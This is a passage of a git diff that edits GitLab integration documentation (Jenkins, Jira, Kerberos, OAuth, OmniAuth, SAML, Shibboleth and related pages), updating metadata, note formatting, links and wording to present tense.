-in the `gitlab.rb` config file, followed by the [`gitlab-ctl reconfigure` command](../administration/restart_gitlab.md).
+To fix this the `gitlab_rails['webhook_timeout']` value must be increased
+in the `gitlab.rb` configuration file, followed by the [`gitlab-ctl reconfigure` command](../administration/restart_gitlab.md).
If you don't find the errors above, but do find *duplicate* entries like below (in `/var/log/gitlab/gitlab-rail`), this
-could also indicate that [webhook requests are timing out](../user/project/integrations/webhooks.md#receiving-duplicate-or-multiple-webhook-requests-triggered-by-one-event):
+could also indicate that [webhook requests are timing out](../user/project/integrations/webhooks.md#webhook-fails-or-multiple-webhook-requests-are-triggered):
```plaintext
2019-10-25_04:22:41.25630 2019-10-25T04:22:41.256Z 1584 TID-ovowh4tek WebHookWorker JID-941fb7f40b69dff3d833c99b INFO: start
diff --git a/doc/integration/jenkins_deprecated.md b/doc/integration/jenkins_deprecated.md
index 63d5ac48765..b5d68e3183f 100644
--- a/doc/integration/jenkins_deprecated.md
+++ b/doc/integration/jenkins_deprecated.md
@@ -1,30 +1,30 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Jenkins CI (deprecated) service
-NOTE: **Note:**
+NOTE:
In GitLab 8.3, Jenkins integration using the
[GitLab Hook Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Hook+Plugin)
was deprecated in favor of the
[GitLab Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Plugin).
Please use documentation for the new [Jenkins CI service](jenkins.md).
-NOTE: **Note:**
+NOTE:
This service was [removed in v13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/1600)
Integration includes:
-- Trigger Jenkins build after push to repo
+- Trigger Jenkins build after push to repository
- Show build status on Merge Request page
Requirements:
- [Jenkins GitLab Hook plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+Hook+Plugin)
-- Git clone access for Jenkins from GitLab repo (via SSH key)
+- Git clone access for Jenkins from GitLab repository (via SSH key)
## Jenkins
@@ -41,7 +41,7 @@ In GitLab, perform the following steps.
Jenkins needs read access to the GitLab repository. We already specified a
private key to use in Jenkins, now we need to add a public one to the GitLab
-project. For that case we will need a Deploy key. Read the documentation on
+project. For that case we need a Deploy key. Read the documentation on
[how to set up a Deploy key](../ssh/README.md#deploy-keys).
### Jenkins service
@@ -50,14 +50,13 @@ Now navigate to GitLab services page and activate Jenkins
![screen](img/jenkins_gitlab_service.png)
-Done! Now when you push to GitLab - it will create a build for Jenkins.
-And also you will be able to see merge request build status with a link to the Jenkins build.
+Done! Now when you push to GitLab - it creates a build for Jenkins, and you can view the merge request build status with a link to the Jenkins build.
### Multi-project Configuration
The GitLab Hook plugin in Jenkins supports the automatic creation of a project
-for each feature branch. After configuration GitLab will trigger feature branch
-builds and a corresponding project will be created in Jenkins.
+for each feature branch. After configuration GitLab triggers feature branch
+builds and a corresponding project is created in Jenkins.
Configure the GitLab Hook plugin in Jenkins. Go to 'Manage Jenkins' and then
'Configure System'. Find the 'GitLab Web Hook' section and configure as shown below.
diff --git a/doc/integration/jira.md b/doc/integration/jira.md
index 37eba25fb5a..0e22bedd1cc 100644
--- a/doc/integration/jira.md
+++ b/doc/integration/jira.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/jira.md'
---
This document was moved to [another location](../user/project/integrations/jira.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/jira_development_panel.md b/doc/integration/jira_development_panel.md
index 1bd3095edce..7488df3580e 100644
--- a/doc/integration/jira_development_panel.md
+++ b/doc/integration/jira_development_panel.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Jira Development Panel integration **(CORE)**
@@ -73,7 +73,7 @@ When configuring Jira DVCS Connector:
#### GitLab account configuration for DVCS
-TIP: **Tip:**
+NOTE:
To ensure that regular user account maintenance doesn't impact your integration,
create and use a single-purpose `jira` user in GitLab.
@@ -89,7 +89,7 @@ create and use a single-purpose `jira` user in GitLab.
replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com,
this would be `https://gitlab.com/login/oauth/callback`.
- NOTE: **Note:**
+ NOTE:
If using a GitLab version earlier than 11.3, the `Redirect URI` must be
`https://<gitlab.example.com>/-/jira/login/oauth/callback`. If you want Jira
to have access to all projects, GitLab recommends that an administrator create the
@@ -100,7 +100,7 @@ create and use a single-purpose `jira` user in GitLab.
- Check **API** in the Scopes section and uncheck any other checkboxes.
1. Click **Save application**. GitLab displays the generated **Application ID**
- and **Secret** values. Copy these values, which you will use in Jira.
+ and **Secret** values. Copy these values, which you use in Jira.
#### Jira DVCS Connector setup
@@ -125,7 +125,7 @@ If you're using GitLab.com and Jira Cloud, we recommend you use the
replacing `<gitlab.example.com>` with your GitLab instance domain. For example, if you are using GitLab.com,
this would be `https://gitlab.com/`.
- NOTE: **Note:**
+ NOTE:
If using a GitLab version earlier than 11.3 the **Host URL** value should be `https://<gitlab.example.com>/-/jira`
For the **Client ID** field, use the **Application ID** value from the previous section.
@@ -165,7 +165,7 @@ This error message is generated in Jira, after completing the **Add New Account*
form and authorizing access. It indicates a connectivity issue from Jira to
GitLab. No other error messages appear in any logs.
-If there was an issue with SSL/TLS, this error message will be generated.
+If there was an issue with SSL/TLS, this error message is generated.
- The [GitLab Jira integration](../user/project/integrations/jira.md) requires GitLab to connect to Jira. Any
TLS issues that arise from a private certificate authority or self-signed
@@ -232,7 +232,7 @@ Potential resolutions:
- If you're using GitLab Core or GitLab Starter, be sure you're using
GitLab 13.4 or later.
-[Contact GitLab Support](https://about.gitlab.com/support) if none of these reasons apply.
+[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply.
#### Fixing synchronization issues
@@ -245,11 +245,11 @@ resynchronize the information. To do so:
1. For each project, there's a sync button displayed next to the **last activity** date.
To perform a *soft resync*, click the button, or complete a *full sync* by shift clicking
the button. For more information, see
- [Atlassian's documentation](https://confluence.atlassian.com/adminjiracloud/synchronize-an-account-972332890.html).
+ [Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/).
### GitLab for Jira app
-You can integrate GitLab.com and Jira Cloud using the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) app in the Atlassian Marketplace.
+You can integrate GitLab.com and Jira Cloud using the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud) app in the Atlassian Marketplace.
This method is recommended when using GitLab.com and Jira Cloud because data is synchronized in realtime, while the DVCS connector updates data only once per hour. If you are not using both of these environments, use the [Jira DVCS Connector](#jira-dvcs-configuration) method.
@@ -257,7 +257,7 @@ This method is recommended when using GitLab.com and Jira Cloud because data is
For a walkthrough of the integration with GitLab for Jira, watch [Configure GitLab Jira Integration using Marketplace App](https://youtu.be/SwR-g1s1zTo) on YouTube.
1. Go to **Jira Settings > Apps > Find new apps**, then search for GitLab.
-1. Click **GitLab for Jira**, then click **Get it now**. Or go the [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira)
+1. Click **GitLab for Jira**, then click **Get it now**. Or go the [App in the marketplace directly](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud)
![Install GitLab App on Jira](img/jira_dev_panel_setup_com_1.png)
1. After installing, click **Get started** to go to the configurations page. This page is always available under **Jira Settings > Apps > Manage apps**.
@@ -267,12 +267,12 @@ For a walkthrough of the integration with GitLab for Jira, watch [Configure GitL
**Link namespace to Jira**. The user setting up *GitLab for Jira* must have
*Maintainer* access to the GitLab namespace.
-NOTE: **Note:**
+NOTE:
The GitLab user only needs access when adding a new namespace. For syncing with Jira, we do not depend on the user's token.
![Configure namespace on GitLab Jira App](img/jira_dev_panel_setup_com_3.png)
-After a namespace is added, all future commits, branches and merge requests of all projects under that namespace will be synced to Jira. Past data cannot be synced at the moment.
+After a namespace is added, all future commits, branches, and merge requests of all projects under that namespace are synced to Jira. Past data cannot be synced at the moment.
For more information, see [Usage](#usage).
diff --git a/doc/integration/kerberos.md b/doc/integration/kerberos.md
index 50468443769..390c3ae3e7c 100644
--- a/doc/integration/kerberos.md
+++ b/doc/integration/kerberos.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, how-to
---
@@ -13,13 +13,13 @@ GitLab can integrate with [Kerberos](https://web.mit.edu/kerberos/) as an authen
[Kerberos](https://web.mit.edu/kerberos/) is a secure method for authenticating a request for a service in a
computer network. Kerberos was developed in the Athena Project at the
-[Massachusetts Institute of Technology (MIT)](http://web.mit.edu/). The name is taken from Greek
+[Massachusetts Institute of Technology (MIT)](https://web.mit.edu/). The name is taken from Greek
mythology; Kerberos was a three-headed dog who guarded the gates of Hades.
## Use-cases
- GitLab can be configured to allow your users to sign with their Kerberos credentials.
-- You can use Kerberos to [prevent](http://web.mit.edu/sipb/doc/working/guide/guide/node20.html) anyone from intercepting or eavesdropping on the transmitted password.
+- You can use Kerberos to [prevent](https://web.mit.edu/sipb/doc/working/guide/guide/node20.html) anyone from intercepting or eavesdropping on the transmitted password.
## Configuration
@@ -49,7 +49,7 @@ sudo chmod 0600 /etc/http.keytab
#### Installations from source
-NOTE: **Note:**
+NOTE:
For source installations, make sure the `kerberos` gem group
[has been installed](../install/installation.md#install-gems).
@@ -150,7 +150,7 @@ With that information at hand:
1. If `block_auto_created_users` is false, the Kerberos user is
authenticated and is signed in to GitLab.
-CAUTION: **Warning**
+WARNING:
We recommend that you retain the default for `block_auto_created_users`.
Kerberos users who create accounts on GitLab without administrator
knowledge can be a security risk.
@@ -162,7 +162,7 @@ enabled, your users will be linked to their LDAP accounts on their first sign-in
For this to work, some prerequisites must be met:
The Kerberos username must match the LDAP user's UID. You can choose which LDAP
-attribute is used as the UID in GitLab's [LDAP configuration](../administration/auth/ldap/index.md#configuration)
+attribute is used as the UID in the GitLab [LDAP configuration](../administration/auth/ldap/index.md#configuration)
but for Active Directory, this should be `sAMAccountName`.
The Kerberos realm must match the domain part of the LDAP user's Distinguished
@@ -216,11 +216,11 @@ GitLab users with a linked Kerberos account can also `git pull` and `git push`
using Kerberos tokens, i.e., without having to send their password with each
operation.
-DANGER: **Warning:**
+WARNING:
There is a [known issue](https://github.com/curl/curl/issues/1261) with `libcurl`
older than version 7.64.1 wherein it won't reuse connections when negotiating.
This leads to authorization issues when push is larger than `http.postBuffer`
-config. Ensure that Git is using at least `libcurl` 7.64.1 to avoid this. To
+configuration. Ensure that Git is using at least `libcurl` 7.64.1 to avoid this. To
know the `libcurl` version installed, run `curl-config --version`.
### HTTP Git access with Kerberos token (passwordless authentication)
diff --git a/doc/integration/ldap.md b/doc/integration/ldap.md
index 25e4cc52375..55c169bca80 100644
--- a/doc/integration/ldap.md
+++ b/doc/integration/ldap.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/auth/ldap/index.md'
---
This document was moved to [`administration/auth/ldap`](../administration/auth/ldap/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/oauth2_generic.md b/doc/integration/oauth2_generic.md
index 5957af292ab..88e9e3ef05c 100644
--- a/doc/integration/oauth2_generic.md
+++ b/doc/integration/oauth2_generic.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Sign into GitLab with (almost) any OAuth2 provider
@@ -20,13 +20,13 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc
## Limitations of this Strategy
-- It can only be used for Single Sign on, and will not provide any other access granted by any OAuth provider
+- It can only be used for Single Sign on, and doesn't provide any other access granted by any OAuth provider
(importing projects or users, etc)
- It only supports the Authorization Grant flow (most common for client-server applications, like GitLab)
- It is not able to fetch user information from more than one URL
- It has not been tested with user information formats other than JSON
-## Config Instructions
+## Configuration Instructions
1. Register your application in the OAuth2 provider you wish to authenticate with.
@@ -37,7 +37,7 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc
```
1. You should now be able to get a Client ID and Client Secret.
- Where this shows up will differ for each provider.
+ Where this shows up differs for each provider.
This may also be called Application ID and Secret
1. On your GitLab server, open the configuration file.
@@ -64,6 +64,6 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc
1. Restart GitLab for the changes to take effect
On the sign in page there should now be a new button below the regular sign in form.
-Click the button to begin your provider's authentication process. This will direct
+Click the button to begin your provider's authentication process. This directs
the browser to your OAuth2 Provider's authentication page. If everything goes well
-the user will be returned to your GitLab instance and will be signed in.
+the user is returned to your GitLab instance and is signed in.
diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md
index 68d10a3135e..82cb409c560 100644
--- a/doc/integration/oauth_provider.md
+++ b/doc/integration/oauth_provider.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab as OAuth2 authentication service provider
@@ -48,12 +48,12 @@ In order to add a new application via your profile, navigate to
![New OAuth application](img/oauth_provider_user_wide_applications.png)
In the application form, enter a **Name** (arbitrary), and make sure to set up
-correctly the **Redirect URI** which is the URL where users will be sent after
+correctly the **Redirect URI** which is the URL where users are sent after
they authorize with GitLab.
![New OAuth application form](img/oauth_provider_application_form.png)
-When you hit **Submit** you will be provided with the application ID and
+When you click **Submit** you are provided with the application ID and
the application secret which you can then use with your application that
connects to GitLab.
@@ -71,12 +71,12 @@ the user authorization step is automatically skipped for this application.
## Authorized applications
-Every application you authorized to use your GitLab credentials will be shown
+Every application you authorized to use your GitLab credentials is shown
in the **Authorized applications** section under **Profile Settings > Applications**.
![Authorized_applications](img/oauth_provider_authorized_application.png)
-GitLab's OAuth applications support scopes, which allow various actions that any given
+The GitLab OAuth applications support scopes, which allow various actions that any given
application can perform such as `read_user` and `api`. There are many more scopes
available.
diff --git a/doc/integration/omniauth.md b/doc/integration/omniauth.md
index eebafab2693..53c19ddfdb1 100644
--- a/doc/integration/omniauth.md
+++ b/doc/integration/omniauth.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# OmniAuth
@@ -49,28 +49,28 @@ contains some settings that are common for all providers.
Before configuring individual OmniAuth providers there are a few global settings
that are in common for all providers that we need to consider.
-NOTE: **Note:**
+NOTE:
Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an
-earlier version, you'll need to explicitly enable it.
+earlier version, you must explicitly enable it.
- `allow_single_sign_on` allows you to specify the providers you want to allow to
automatically create an account. It defaults to `false`. If `false` users must
- be created manually or they will not be able to sign in via OmniAuth.
+ be created manually or they can't sign in via OmniAuth.
- `auto_link_ldap_user` can be used if you have [LDAP / ActiveDirectory](../administration/auth/ldap/index.md)
integration enabled. It defaults to `false`. When enabled, users automatically
- created through an OmniAuth provider will have their LDAP identity created in GitLab as well.
+ created through an OmniAuth provider have their LDAP identity created in GitLab as well.
- `block_auto_created_users` defaults to `true`. If `true` auto created users will
- be blocked by default and will have to be unblocked by an administrator before
+ be blocked by default and must be unblocked by an administrator before
they are able to sign in.
-NOTE: **Note:**
+NOTE:
If you set `block_auto_created_users` to `false`, make sure to only
define providers under `allow_single_sign_on` that you are able to control, like
SAML, Shibboleth, Crowd or Google, or set it to `false` otherwise any user on
-the Internet will be able to successfully sign in to your GitLab without
+the Internet can successfully sign in to your GitLab without
administrative approval.
-NOTE: **Note:**
+NOTE:
`auto_link_ldap_user` requires the `uid` of the user to be the same in both LDAP
and the OmniAuth provider.
@@ -141,8 +141,8 @@ OmniAuth provider for an existing user.
1. Go to profile settings (the silhouette icon in the top right corner).
1. Select the "Account" tab.
1. Under "Connected Accounts" select the desired OmniAuth provider, such as Twitter.
-1. The user will be redirected to the provider. Once the user authorized GitLab
- they will be redirected back to GitLab.
+1. The user is redirected to the provider. After the user authorizes GitLab,
+ they are redirected back to GitLab.
The chosen OmniAuth provider is now active and can be used to sign in to GitLab from then on.
@@ -171,12 +171,12 @@ omniauth:
> Introduced in GitLab 8.7.
You can define which OmniAuth providers you want to be `external` so that all users
-**creating accounts, or logging in via these providers** will not be able to have
-access to internal projects. You will need to use the full name of the provider,
+**creating accounts, or logging in via these providers** can't have
+access to internal projects. You must use the full name of the provider,
like `google_oauth2` for Google. Refer to the examples for the full names of the
supported providers.
-NOTE: **Note:**
+NOTE:
If you decide to remove an OmniAuth provider from the external providers list,
you must manually update the users that use this method to sign in if you want
their accounts to be upgraded to full internal accounts.
@@ -196,7 +196,7 @@ omniauth:
## Using Custom OmniAuth Providers
-NOTE: **Note:**
+NOTE:
The following information only applies for installations from source.
GitLab uses [OmniAuth](https://github.com/omniauth/omniauth) for authentication and already ships
@@ -206,7 +206,7 @@ these cases you can use the OmniAuth provider.
### Steps
-These steps are fairly general and you will need to figure out the exact details
+These steps are fairly general and you must figure out the exact details
from the OmniAuth provider's documentation.
- Stop GitLab:
@@ -253,7 +253,7 @@ we'd like to at least help those with specific needs.
Administrators are able to enable or disable Sign In via some OmniAuth providers.
-NOTE: **Note:**
+NOTE:
By default Sign In is enabled via all the OAuth Providers that have been configured in `config/gitlab.yml`.
In order to enable/disable an OmniAuth provider, go to Admin Area -> Settings -> Sign-in Restrictions section -> Enabled OAuth Sign-In sources and select the providers you want to enable or disable.
@@ -343,8 +343,8 @@ omniauth:
auto_sign_in_with_provider: azure_oauth2
```
-Keep in mind that every sign-in attempt will be redirected to the OmniAuth
-provider; you won't be able to sign in using local credentials. Ensure at least
+Keep in mind that every sign-in attempt is redirected to the OmniAuth
+provider; you can't sign in using local credentials. Ensure at least
one of the OmniAuth users has admin permissions.
You may also bypass the auto sign in feature by browsing to
diff --git a/doc/integration/openid_connect_provider.md b/doc/integration/openid_connect_provider.md
index bf33483f949..5bf079df800 100644
--- a/doc/integration/openid_connect_provider.md
+++ b/doc/integration/openid_connect_provider.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab as OpenID Connect identity provider
@@ -22,7 +22,7 @@ mobile applications.
On the client side, you can use [OmniAuth::OpenIDConnect](https://github.com/jjbohn/omniauth-openid-connect/) for Rails
applications, or any of the other available [client implementations](https://openid.net/developers/libraries/#connect).
-GitLab's implementation uses the [doorkeeper-openid_connect](https://github.com/doorkeeper-gem/doorkeeper-openid_connect "Doorkeeper::OpenidConnect website") gem, refer
+The GitLab implementation uses the [doorkeeper-openid_connect](https://github.com/doorkeeper-gem/doorkeeper-openid_connect "Doorkeeper::OpenidConnect website") gem, refer
to its README for more details about which parts of the specifications
are supported.
diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md
index 545f60cddbf..bb5425187c1 100644
--- a/doc/integration/recaptcha.md
+++ b/doc/integration/recaptcha.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# reCAPTCHA
@@ -25,7 +25,7 @@ To use reCAPTCHA, first you must create a site and private key.
to `return CONDITONAL_ALLOW` so that the spam check short-circuits and triggers the response to
return `recaptcha_html`.
-NOTE: **Note:**
+NOTE:
Make sure you are viewing an issuable in a project that is public, and if you're working with an issue, the issue is public.
## Enabling reCAPTCHA for user logins via passwords
diff --git a/doc/integration/salesforce.md b/doc/integration/salesforce.md
index 3290f18e2cb..1aca3b04eee 100644
--- a/doc/integration/salesforce.md
+++ b/doc/integration/salesforce.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Salesforce OmniAuth Provider
@@ -82,8 +82,8 @@ To get the credentials (a pair of Client ID and Client Secret), you must [create
1. [Reconfigure GitLab]( ../administration/restart_gitlab.md#omnibus-gitlab-reconfigure ) or [restart GitLab]( ../administration/restart_gitlab.md#installations-from-source ) for the changes to take effect if you installed GitLab via Omnibus or from source respectively.
On the sign in page, there should now be a Salesforce icon below the regular sign in form.
-Click the icon to begin the authentication process. Salesforce will ask the user to sign in and authorize the GitLab application.
-If everything goes well, the user will be returned to GitLab and will be signed in.
+Click the icon to begin the authentication process. Salesforce asks the user to sign in and authorize the GitLab application.
+If everything goes well, the user is returned to GitLab and is signed in.
-NOTE: **Note:**
-GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab will redirect the user to the profile page where they will have to provide the email and verify the email.
+NOTE:
+GitLab requires the email address of each new user. Once the user is logged in using Salesforce, GitLab redirects the user to the profile page where they must provide the email and verify the email.
diff --git a/doc/integration/saml.md b/doc/integration/saml.md
index 16a33a86472..af0a58eab59 100644
--- a/doc/integration/saml.md
+++ b/doc/integration/saml.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SAML OmniAuth Provider **(CORE ONLY)**
@@ -378,7 +378,7 @@ You may also bypass the auto sign-in feature by browsing to
### `attribute_statements`
-NOTE: **Note:**
+NOTE:
This setting should be used only to map attributes that are part of the OmniAuth
`info` hash schema.
@@ -536,7 +536,7 @@ args: {
Your Identity Provider will encrypt the assertion with the public certificate of GitLab. GitLab will decrypt the EncryptedAssertion with its private key.
-NOTE: **Note:**
+NOTE:
This integration uses the `certificate` and `private_key` settings for both assertion encryption and request signing.
## Request signing (optional)
diff --git a/doc/integration/shibboleth.md b/doc/integration/shibboleth.md
index 59374d8ad6f..e811cac4f0b 100644
--- a/doc/integration/shibboleth.md
+++ b/doc/integration/shibboleth.md
@@ -1,14 +1,14 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Shibboleth OmniAuth Provider
-NOTE: **Note:**
+NOTE:
The preferred approach for integrating a Shibboleth authentication system
-with GitLab 10 or newer is to use [GitLab's SAML integration](saml.md). This documentation is for Omnibus GitLab 9.x installs or older.
+with GitLab 10 or newer is to use the [GitLab SAML integration](saml.md). This documentation is for Omnibus GitLab 9.x installs or older.
In order to enable Shibboleth support in GitLab we need to use Apache instead of NGINX (It may be possible to use NGINX, however this is difficult to configure using the bundled NGINX provided in the Omnibus GitLab package). Apache uses mod_shib2 module for Shibboleth authentication and can pass attributes as headers to OmniAuth Shibboleth provider.
@@ -16,7 +16,7 @@ To enable the Shibboleth OmniAuth provider you must configure Apache Shibboleth
The installation and configuration of the module itself is out of the scope of this document.
Check <https://wiki.shibboleth.net/confluence/display/SP3/Apache> for more information.
-You can find Apache config in [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache).
+You can find Apache configuration in [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache).
The following changes are needed to enable Shibboleth:
@@ -40,7 +40,7 @@ The following changes are needed to enable Shibboleth:
</Location>
```
-1. Exclude Shibboleth URLs from rewriting. Add `RewriteCond %{REQUEST_URI} !/Shibboleth.sso` and `RewriteCond %{REQUEST_URI} !/shibboleth-sp`. Config should look like this:
+1. Exclude Shibboleth URLs from rewriting. Add `RewriteCond %{REQUEST_URI} !/Shibboleth.sso` and `RewriteCond %{REQUEST_URI} !/shibboleth-sp`. Configuration should look like this:
```apache
# Apache equivalent of Nginx try files
@@ -52,12 +52,12 @@ The following changes are needed to enable Shibboleth:
RequestHeader set X_FORWARDED_PROTO 'https'
```
- NOTE: **Note:**
+ NOTE:
Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an
- earlier version, you'll need to explicitly enable it in `/etc/gitlab/gitlab.rb`.
+ earlier version, you must explicitly enable it in `/etc/gitlab/gitlab.rb`.
1. In addition, add Shibboleth to `/etc/gitlab/gitlab.rb` as an OmniAuth provider.
- User attributes will be sent from the
+ User attributes are sent from the
Apache reverse proxy to GitLab as headers with the names from the Shibboleth
attribute mapping. Therefore the values of the `args` hash
should be in the form of `"HTTP_ATTRIBUTE"`. The keys in the hash are arguments
@@ -100,12 +100,12 @@ The following changes are needed to enable Shibboleth:
1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect if you
installed GitLab via Omnibus or from source respectively.
-On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You will be redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user will be returned to GitLab and will be signed in.
+On the sign in page, there should now be a "Sign in with: Shibboleth" icon below the regular sign in form. Click the icon to begin the authentication process. You are redirected to IdP server (depends on your Shibboleth module configuration). If everything goes well the user is returned to GitLab and is signed in.
## Apache 2.4 / GitLab 8.6 update
The order of the first 2 Location directives is important. If they are reversed,
-you will not get a Shibboleth session!
+requesting a Shibboleth session fails!
```plaintext
<Location />
diff --git a/doc/integration/slack.md b/doc/integration/slack.md
index 815032a08d5..fbea9d3035c 100644
--- a/doc/integration/slack.md
+++ b/doc/integration/slack.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/slack.md'
---
This document was moved to [another location](../user/project/integrations/slack.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md
index ea2c4b3e93f..6820ff8a0aa 100644
--- a/doc/integration/slash_commands.md
+++ b/doc/integration/slash_commands.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Slash Commands
@@ -37,11 +37,11 @@ It is possible to create new issue, display issue details and search up to 5 iss
## Deploy command
-In order to deploy to an environment, GitLab will try to find a deployment
+In order to deploy to an environment, GitLab tries to find a deployment
manual action in the pipeline.
-If there is only one action for a given environment, it is going to be triggered.
-If there is more than one action defined, GitLab will try to find an action
+If there is only one action for a given environment, it is triggered.
+If there is more than one action defined, GitLab tries to find an action
which name equals the environment name we want to deploy to.
-Command will return an error when no matching action has been found.
+The command returns an error when no matching action has been found.
diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md
index 47c84643a7d..8e1a6cdcfd1 100644
--- a/doc/integration/sourcegraph.md
+++ b/doc/integration/sourcegraph.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, how-to
---
@@ -19,7 +19,7 @@ For GitLab.com users, see [Sourcegraph for GitLab.com](#sourcegraph-for-gitlabco
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, watch the video [Sourcegraph's new GitLab native integration](https://www.youtube.com/watch?v=LjVxkt4_sEA).
